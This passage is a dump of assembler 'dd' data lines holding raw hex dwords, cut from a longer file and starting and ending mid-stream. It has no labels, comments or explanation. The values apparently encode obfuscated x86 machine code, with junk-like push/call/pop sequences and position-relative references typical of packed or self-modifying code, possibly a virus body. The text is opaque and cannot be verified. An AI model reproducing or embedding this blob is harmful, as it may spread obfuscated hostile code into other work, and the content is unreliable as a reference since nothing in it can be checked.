0E20D31B5h, 0F613C05h dd 10783h, 0C8B60F00h, 6BAF5h, 8E80000h, 1E000000h, 60245840h dd 0BF4E2D1Dh, 528C118Fh, 850F5Fh, 8B000000h, 0A1B531C1h dd 0C105E20Fh, 816604E8h, 664A5BDFh, 0B589E2F7h, 5E210B5h dd 18E0Fh, 2BF90000h, 6800FC8h, 8B000000h, 0E219059Dh dd 0FD9D0105h, 8B05E218h, 699D8BD1h, 0E905E21Dh, 4, 899FBB66h dd 326D858Bh, 0E95305E2h, 0Dh, 0BA034160h, 627AB98Bh, 18B7DC3Eh dd 85895FFAh, 5E21D99h, 6607C083h, 0C083DF8Bh, 81666000h dd 0BD629D8h, 0E211118Dh, 0D03B6105h, 27830Fh, 11E90000h dd 66000000h, 0C3D2537h, 55A1672Dh, 4DD0210Ah, 9F1974F0h dd 0E9F8BF0Fh, 44h, 89FB8B66h, 0E215F1BDh, 0F98D8B05h dd 6605E209h, 83CFF1BBh, 840F01E1h, 28h, 8BD9BF0Fh, 0F9A583D8h dd 0FE05E209h, 15F19D8Bh, 958905E2h, 5E2326Dh, 0C18D8B60h dd 8005E203h, 0E961A6E7h, 0 dd 776B58Dh, 5F5705E6h, 23E9BD8Bh, 6A05E2h, 0AB59501h dd 95FF05E2h, 5E20AB9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 16C35040h, 8AD98B4Fh, 871B9FDh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 745DEEC3h, 996D4714h, 31589730h, 0E21DF5B5h, 0FCE18305h dd 1F018D89h, 0B8FC05E2h, 0 dd 0DE9h, 282F0800h, 0B8322B28h, 0A15E2DADh, 0D22B2EAEh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0AEC35242h dd 9D9D2356h, 0AD05E20Dh, 0E8D1C233h, 0E983D003h, 6AF47504h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0CA2AC351h, 9C08CF76h, 0DEB70FB6h, 7CC8BF66h dd 6AFB8B66h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0C22DC350h, 16AD0342h, 0CCD7D575h dd 17358589h, 880D05E2h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C9CDC352h dd 89A21102h, 0E20E319Dh, 0E5BD3105h, 8B05E21Dh, 0E20BE995h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 8E298C87h, 9D9F761Ah, 0DA8B6613h, 7618D8Bh dd 896005E2h, 0E200D9BDh, 9FD38105h, 6154D168h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 8BF315C3h dd 0D5ABFBB0h, 0FDC562Dh, 0F8Fh, 0AE900h, 0B7FD0000h, 0CC72E633h dd 0C73CB44Dh, 18810Fh, 0FC600000h, 10E9h, 0FA030100h dd 0D03E0E63h, 1C7DB200h, 0A9189CEAh, 0F98A61F3h, 0D79BD83h dd 0F0005E2h, 6384h, 0E3816600h, 0B85AD0h, 60000000h, 14E9h dd 4AD77300h, 3F22D243h, 0DEC8B70Ch, 841389A4h, 27751858h dd 8D9D0390h, 6105E204h, 4C428D8Dh, 8B6605E2h, 6AE1FFD8h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 9058C351h, 0C2C694F3h, 606B4D2Dh, 919D01F8h dd 6105E218h, 1B55BD83h, 0F0005E2h, 50184h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 8320698Eh, 0E21B55BDh, 840F0105h, 4F1h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 8DC35646h, 0B4AAC5C4h dd 0BD8396E3h, 5E21B55h, 8C860F03h, 66000004h, 0E9A733BFh dd 0Ah, 99583B8Dh, 0B437BFF5h, 51600DBEh, 0D98C665Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 59C35646h, 0D3F618C3h dd 39B07B1h, 0E21D85BDh, 71B58905h, 8005E201h, 9D8B04E1h dd 5E21AA1h, 840FC90Ah, 14Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 88C35242h, 1F618589h, 858B05E2h dd 5E2241Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 7AC35242h, 8533009Dh, 5E22AA9h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 15h, 8DC35646h, 1DBB508Bh dd 8961912Dh, 880F2404h, 6, 2F9D9D8Bh, 858905E2h, 5E20C85h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0D2E04AC3h, 8E19A5D1h, 8B0F5B8Ah, 6, 16BD8D09h dd 0BF6805E2h, 8113B346h, 45402434h, 6A13ACh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0D6548CC3h dd 0CC95C304h, 0CE9h, 90FEC800h, 0FA071AF9h, 1E1CF19Fh dd 3995FF6Bh, 6A05E208h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 197EC352h, 8589EDB1h dd 5E5BB9Dh, 524AB560h, 58DBBF0Fh, 0F1BD0961h, 0E905E221h dd 235h, 14E9h, 9A56C300h, 0D02FE09Dh, 5B2FB1EBh, 0C4BF4CCEh dd 0AF8C0D6Fh, 95858BBDh, 6605E5BBh, 0C7FE8Bh, 18h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 58C35343h, 0D86E28F5h dd 0F5BAC05h, 68Ah, 519D3300h, 8B05E21Bh, 0E5BB99B5h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 75DF2FF5h, 870F5954h, 0Ch, 68C0Fh, 0B5290000h, 5E20E31h dd 0F9858Bh, 0BB6605E2h, 689C81Eh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 53C35545h, 222D9D23h, 858B05E2h dd 5E2241Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 82C35343h, 8EB2A3D7h, 0F9D433ADh, 0DF8050D6h, 46895B53h dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 89B30BA3h, 0E20589BDh, 5396F805h, 7E8h dd 0F8BAFE00h, 0BEF3327Ch, 5B5BDEB3h, 5FBB6650h, 0DE8A968Fh dd 81DBD8Bh, 0B5FF05E2h, 5E5BB95h, 1F0D8D89h, 0BA6805E2h dd 607627F0h, 0CE9h, 7FB3D000h, 0BCDB1E4Ch, 959582EFh dd 0DE94Eh, 4D2C0000h, 0C244FE14h, 0DE1D8333h, 61BC9867h dd 45243481h, 6A7638F3h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 12D1C357h, 3FC3E662h dd 0D3818BA7h, 489CC439h, 0BB9D858Dh, 6A05E5h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0D05CBBC3h, 44EDF1BEh, 58F0F60h, 0BE000000h, 4C578413h dd 5850957h, 5905E21Fh, 8B665061h, 240489FAh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0D3C35343h, 0E9F2EE04h dd 0Ah, 9EB3C1B1h, 0B0D49C86h, 8589E4CAh, 5E22B35h, 83995FFh dd 820F05E2h, 10h, 0A860Fh, 5E90000h, 2A000000h, 9E064E62h dd 5CC581BBh, 6A616Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 408270C3h, 70E691DCh, 5585C725h dd 305E21Bh, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 63E5C351h, 3686E823h dd 859D8956h, 5F05E215h, 15F1BD8Bh, 0BD8305E2h, 5E5BB9Dh dd 60840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 9CF8C351h, 59D0B86h dd 0E905E206h, 0Bh, 0B58EDDDh, 0F18BF256h, 0E984CA50h dd 42h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h dd 0B8C35545h, 0C780858Fh, 51BD8B5Fh, 5005E213h, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 8B66C08Bh dd 57006AFBh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 8EB6121Dh, 2103C7BBh, 55BD8313h, 305E21Bh dd 4AB850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 79FA11C3h, 0C38D6D53h, 68C0Fh, 9D8B0000h dd 5E20A79h, 0BB9DBD83h, 0F0005E5h, 47084h, 11E900h, 0C2DA0000h dd 648E4B79h, 62D486A6h, 99F303C8h, 0FF4F334Eh, 0E5BB9DB5h dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0A64EC281h, 0ECCF9A58h, 16BEBF4Ch, 95FF2182h dd 5E2172Dh, 518D8B60h, 0E805E223h, 6, 0E0B491BAh, 0EE8A2E9Ch dd 0B58B615Bh dd 5E5BB91h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0F6C35242h, 0D4284B13h, 6C7931Ch, 10001h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0B1C35242h, 0DE942BCAh dd 0EE96258h, 0F5000000h, 0CA082D5Fh, 0F31D56ACh, 0F6363B73h dd 0B0B39671h, 7E04BF50h, 0B96352Dh, 0E20B45BDh, 9DB5FF05h dd 6A05E5BBh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 3193C355h, 11D53796h, 0D195FF93h dd 6A05E22Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 8A2CC357h, 8BDABF0Fh, 0E5BB91B5h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 7D9D8BEBh, 8B05E205h, 0E210DD85h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0A7759866h, 0F0E03841h, 24A19501h, 896005E2h, 0E200D59Dh dd 9E905h, 6C240000h, 7292B881h, 61923EC0h, 0C48689h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0D16D4FC3h, 0D49B9EAEh, 8B6DE361h, 0E20BE995h, 91BD8905h dd 8305E22Ch, 9D0304C2h, 5E20939h, 6A205089h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 73CBC357h, 0BD47E493h, 7A356C38h, 0FC9B589h, 858D05E2h dd 5E5CE5Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0A2C35343h, 8222A780h, 5810Fh, 81660000h, 896556F7h dd 0B886h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 0E2554949h, 6AF51D8Eh, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 711A1B32h, 9DB5FF47h, 6A05E5BBh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0A4CEC357h dd 0ED925579h, 0D25209A7h, 21A1EF81h, 95FF7033h, 5E214E9h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0D3C35545h dd 2A973238h, 0ADDD06DFh, 1958940h, 5005E20Ah, 57505250h dd 310F5B5Fh, 10860Fh, 0BE90000h, 0CA000000h, 49E1D84Ah dd 0FFB29ABDh, 585A6CC2h, 66243489h, 0D832C781h, 0BB9DB5FFh dd 830F05E5h, 5, 0DE8B6656h, 2195FF5Bh, 0E805E22Dh, 9 dd 6D2CD84Fh, 8E479FE0h, 499D8B28h, 5F05E214h, 89BD83h dd 0F0005E2h, 5F84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 5CF9AAC8h, 85890C2Eh dd 5E20C75h, 0E8D9D89h, 505005E2h, 0BBDBB52h, 310F1B8Eh dd 3489585Ah, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 872EA52h, 0E751A649h, 0BB9DB5FFh dd 858905E5h, 5E22F8Dh, 31199D89h, 95FF05E2h, 5E20415h dd 2ECF8150h, 5F591C2Eh, 0BB9DB5FFh, 6A05E5h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 36BD8DC3h dd 5995FF30h, 5205E20Ah, 11599D8Bh, 835F05E2h, 0E224CDBDh dd 840F0205h, 65h, 6A5B589h, 858B05E2h, 5E21F35h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 60C35040h, 0B87F7F1Ch dd 800FC9F0h, 0C690E3h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 9C50A11h, 0E211698Dh dd 31858905h, 8905E211h, 0E21611B5h, 0F985C705h, 5E20Ch dd 8B000000h, 0E21DF99Dh, 0F1EEE905h, 6AFFFFh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0FD1EFC3h, 0C18BDAB7h, 29BD23h, 858D05E2h, 5E20E91h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 57C35242h dd 0B8A180CCh, 0EB5FBB32h, 0DF8B0E08h, 870F6090h, 0Ah dd 5E9h, 61E6B000h, 10E8103Dh, 0F0000000h, 5730D942h, 5C1F8633h dd 91299994h, 58B60D49h, 0FE8B5061h, 55006A90h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 6FEC608h, 0F6011CEh dd 18Dh, 8166F900h, 618B08CEh, 16BF006Ah, 31671216h, 0E21DED9Dh dd 66006A05h, 858DD98Bh, 5E6974Fh, 49DB529h, 0C08305E2h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 9A19C9D2h, 0F4E3B2D6h, 7E99Dh, 0E64E0000h dd 0AC148B27h, 719589F8h, 5005E221h, 489FC8Ah, 52006A24h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0BD8B5609h, 5E209F1h, 170D9D29h, 8A0F05E2h, 8, 810F51h dd 5F000000h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0D6223C3h, 801F1A61h, 6A006A7Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 0F27C353h, 3160DFB7h, 0E214B5B5h, 81666005h dd 616162C8h, 2D95FF61h, 6A05E21Eh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8DD7C357h dd 0E59D808Dh, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0DEFE4EAAh, 0E5F2A002h dd 8E465EBFh, 6AD1FF44h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 7A68C355h, 3830FABh dd 80000000h, 0BD8306CFh, 5E200B9h, 83850F01h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 0BFB8C350h, 0EDBD8990h, 6A05E204h, 2D9D8B02h dd 8B05E214h, 0E211419Dh, 0FB8B9005h, 0F98B6650h, 0E5BD8990h dd 0FF05E20Ch, 0E214E995h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0B3E12214h dd 0FE9h, 0CD6D9300h, 0BC68A25Ch, 1D3D3CEAh, 6D1EC628h dd 0B284BF66h, 47DB509h, 0E3E905E2h, 0E800000Dh, 0 dd 59ED815Dh, 6605E697h, 0FC45F781h, 1DED9D0Bh, 858D05E2h dd 5E58E9Eh, 0E1BD8B56h, 5F05E232h, 2ABB5350h, 5F2CD822h dd 0E8240489h, 0Bh, 1B4108FAh, 0F32EED43h, 0E93BF05Ah dd 0Fh, 0E9E6A80Bh, 0C4C85DDAh, 7ED6FE16h, 5F14CAC0h, 105D9531h dd 0FF6405E2h, 35h, 0FE800h, 0CF90000h, 0A315FA9h, 69E82CE5h dd 5E36F3CAh, 959D8B34h, 5B05E20Ah, 258964h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 1CD3C350h, 11E9h, 90676600h, 0D6D68688h dd 0E596FFE6h, 186BE7E0h, 0FE87C4Eh, 77000000h, 0C1DA45FEh dd 0E43D0D86h, 9D691579h, 9D33738Dh, 5E21639h, 2985FF5Fh dd 3305E223h, 0E20B65BDh, 0E9FF6A05h, 0Ah, 42AF8BC0h, 0F0C4726Eh dd 0B5FFA965h, 5E2325Dh, 0FFFFB70Fh, 0E2189D95h, 141E905h dd 78BF0000h, 0B054DB2Ch, 0FBBB6600h, 2370E651h, 0E23149BDh dd 0F71E405h, 1781h, 12E900h, 0C1530000h, 12F07BFDh, 1A67000Bh dd 0C4D614A5h, 836DE194h, 830F613Ch, 107h, 0B60FFA8Bh dd 0F1BD8BC8h, 0BA05E214h, 6, 0C2816660h, 8B66D798h, 0C18B61CAh dd 10E8h, 0C53A00h, 2A90B951h, 0C9B2F402h, 0D73758B9h dd 1BF3813Eh, 5B11D1EFh, 0F04E8C1h, 0F766F9BFh, 0BE8E2h dd 64210000h, 0DBAFDA73h, 9D8D4F3Fh, 10E9C9h, 0CA330000h dd 922ECE5h, 7FD65187h, 5DFFF349h, 2B5B045Bh, 8E9C8h, 0C1110000h dd 0FBD2D293h, 0D18BE00Dh, 0FE9h, 38E0F00h, 66000000h dd 9589DE8Bh, 5E21A81h, 1519858Bh, 8D8905E2h, 5E225D1h dd 0F507C083h, 6600C083h, 0D03BDA8Bh, 16830Fh, 9D010000h dd 5E22339h, 6A5BD01h, 4CE905E2h, 0BF000000h, 4E421F69h dd 1CDD8D8Bh, 0BD0105E2h, 5E21F05h, 0F01E183h, 3284h, 8860F00h dd 0F000000h, 28Fh, 83FA8B00h, 0E21CDDA5h, 0BD8BFE05h dd 5E20AA5h, 15199589h, 0BD0905E2h, 5E215C5h, 0CCDBD8Bh dd 0E905E2h, 8D000000h, 0E6126DB5h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 11E98847h dd 4F000000h, 398E86F0h, 23C802F6h, 0A34B7C7Fh, 1D7CD906h dd 1419589h, 6A05E2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 25C35343h, 0BF0FEA98h, 0B995FFDFh, 6605E20Ah dd 0BD23FB8Bh, 5E22105h, 863B9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 870F23E5h dd 4, 0FA92BB66h, 6AFCE183h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 605CC353h, 0EF1CF025h dd 69958950h, 5B05E232h, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 9D8BEA1Eh, 5E208A5h, 26A99D89h dd 0B805E2h, 29000000h, 0E2303D95h, 6AD22B05h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 9E0BC355h, 2B0664EEh, 0E20B459Dh, 0C233AD05h, 0D003E8D1h dd 7504E983h, 7D9D89F4h, 5005E226h, 5DB5895Bh, 0D05E218h dd 88h, 0FC8A5250h, 958B5B5Fh, 5E20BE9h, 5219D8Bh, 8D8B05E2h dd 5E20761h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0F4C35141h, 13820Fh, 0DE80000h, 0C9000000h, 37E57777h dd 6A38DBDAh, 4F9DE351h, 6BBB665Bh, 0C28B5085h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 2E11C352h dd 0B6E6AFAFh, 56CC923Ah, 59858956h, 5B05E21Bh, 0F88B665Bh dd 0D79BD83h, 0F0005E2h, 8184h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 9E90ED4h, 0E209A9BDh dd 0B805h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 1EAFBC3h, 0D36EE57Ch, 89A1DB29h dd 0E213D595h, 428D8D05h, 8B05E24Ch, 0E22BCDBDh, 6AE1FF05h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 75B3C355h, 0BD83F8C0h, 5E21B55h, 0D0840F00h dd 0F000004h, 584h, 0E7816600h, 0BD834401h, 5E21B55h, 0D3840F01h dd 83000004h, 0E21B55BDh, 860F0305h, 490h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 38C35646h, 0FB8C79CDh dd 50006A60h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 4BB99AAAh, 29818589h, 0BD0105E2h, 5E21769h dd 60D98C66h, 2FCEF5B8h, 0EE843h, 4DB10000h, 8F093AC7h dd 0DDF10E4Ch, 7EA853FEh, 6158FCB7h, 6A04E180h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0F706C356h, 1D90C27Bh, 8166481Dh, 0A91D2C3h, 33840FC9h dd 51000001h, 8B5FFA8Bh, 0E2164D9Dh, 1D858B05h, 6A05E224h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0EEC2C350h, 2D199D23h, 853305E2h, 5E22AA9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 3FC35040h dd 5003879Bh, 0EE85250h, 99000000h, 3B06E5E4h, 0FE770A5Bh dd 86C1DA45h, 0F52500Dh, 5F585A31h, 585A310Fh, 0E9240489h dd 6, 0C0F19B81h, 6AE007h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 2AC35747h, 6843E780h, 875FFCFCh, 0D98B5250h dd 585A310Fh, 3240481h, 6A78BF07h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 96E2C351h dd 0ACBC2AA2h, 66DBBF0Fh, 95FFDA8Bh, 5E20839h, 0D759D8Bh dd 858905E2h, 5E5BB9Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 33C35343h, 0E9FFBF0Fh, 259h, 0FE8h, 0D4E3D200h dd 7B50C8E9h, 0BAC27545h, 2D78F3B4h, 5BF88B66h, 858BD98Bh dd 5E5BB95h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 96C35646h, 96DA68D0h, 0EB20738Ah, 0C7F88B66h, 1800h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 158895D7h, 0F56FF232h, 0BB99B58Bh, 6A05E5h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 4B5EB7C3h, 858BD98Bh, 5E200F9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0A9C35040h, 6A06893Eh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 2265C351h, 0BF0F43C8h, 1D858BFFh, 6A05E224h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0E3F5C355h, 0B44B2F21h, 816637E2h, 8B1039DFh, 0E218899Dh dd 4468905h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 96C35747h, 880F5196h, 0Ch, 7E9h, 75EF8500h, 8B8131E4h dd 10E9505Bh, 9E000000h, 3236C5Eh, 415A4ADCh, 4EB5A675h dd 9651FFD7h, 21999D29h, 0B5FF05E2h, 5E5BB95h, 0E853006Ah dd 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Bh, 55C35343h, 0E169E1F8h dd 6697ECA8h, 68ADCDBBh, 86B4C4EBh, 0F9EB460h, 683h, 850F00h dd 61000000h, 14240481h, 6A796A3Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 62ACC356h dd 9D858D70h, 6A05E5BBh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 6F67C356h, 890F1596h dd 6, 22E5B529h, 9D8B05E2h, 5E2095Dh, 89FE8B50h, 6A2404h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0BF6671C3h, 41B35A30h, 83995FFh, 6A05E2h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 34EDA1C3h dd 0F585014Dh, 105E208h, 0E22B158Dh, 6A6105h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 171E70C3h dd 0E95D6819h, 8, 6111B302h, 6AEFB476h, 1B5585C7h, 305E2h dd 0AE90000h, 6E000000h, 5FD3C473h, 0DEE9823Bh, 9DBD839Bh dd 5E5BBh, 2A840Fh, 8B500000h, 3CE95BF9h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0BFE0C350h, 302AAE28h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0D4C5C350h, 6095FFFBh dd 0F58D09E4h, 0F05E208h, 68Fh, 0F1BD2900h, 8305E223h dd 0E21B55BDh, 850F0305h, 3C4h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0D7C35242h, 0B7177C4Bh, 0BD83FB8Bh dd 5E5BB9Dh, 95840F00h, 6A000003h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 6B4BC357h dd 6695D2DCh, 9EC8D381h, 30D18589h, 0DB8105E2h, 68B2CB0Bh dd 0BB9DB5FFh, 816605E5h, 0FF84C5C3h, 0E2172D95h, 91B58B05h dd 5105E5BBh, 6C75FF8h, 10001h, 6880Fh, 0BD8B0000h, 5E20979h dd 0AE9h, 78E1D900h, 1CDB3E9Bh, 96B839E8h, 52505250h, 0FF98B66h dd 0F585A31h, 12E831h, 0D2DD0000h, 9C4EF80Ch, 61EADB1Ch dd 65284219h, 220B2451h, 8D0Fh, 5A5F0000h, 8B965058h, 0E22671BDh dd 9DB5FF05h, 6A05E5BBh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0AE0EC351h, 8760DF81h dd 95FF0561h, 5E22BD1h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 6AC35242h, 0A652B552h, 5655F054h, 5FC4DF80h dd 0CC18589h, 0B58B05E2h, 5E5BB91h, 0EB61BB66h, 10DD858Bh dd 6A05E2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 0CDFB0C3h, 8D88BDD7h, 80657B30h, 86894ADBh dd 0C4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0A3C35343h, 0EA68C0ECh, 893AF970h, 0E21379B5h dd 0D7816605h, 958B5B19h, 5E20BE9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0EC35242h, 0EA4DD244h, 664E2CE3h dd 3F4BDF81h, 32B19589h, 0C28305E2h, 89DE8B04h, 6A2050h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 417743C3h, 0C03B5568h, 10E961h, 73BA0000h, 8DC33C50h dd 8F06F149h, 7B66E803h, 8A0F6583h, 6, 0AFDBD8Bh, 858D05E2h dd 5E5CE5Bh, 1495BD8Bh, 9D8B05E2h, 5E21345h, 0B88689h dd 8B660000h, 8A006AD8h, 9DB5FFDCh, 6A05E5BBh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0DCDBC357h, 0FF50D922h, 0E214E995h, 619D2305h, 5005E20Dh dd 89DF8B66h, 9D292434h, 5E224BDh, 0BB9DB5FFh, 6A05E5h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 418932C3h, 21419D23h, 95FF05E2h, 5E22D21h, 0BD83D98Bh dd 5E20089h, 2E840F00h, 8A000000h, 0BB6650DEh, 348943D5h dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 8B1FED9Ah, 0E22C6DBDh, 9DB5FF05h, 0E905E5BBh dd 11h, 453A5B8Bh, 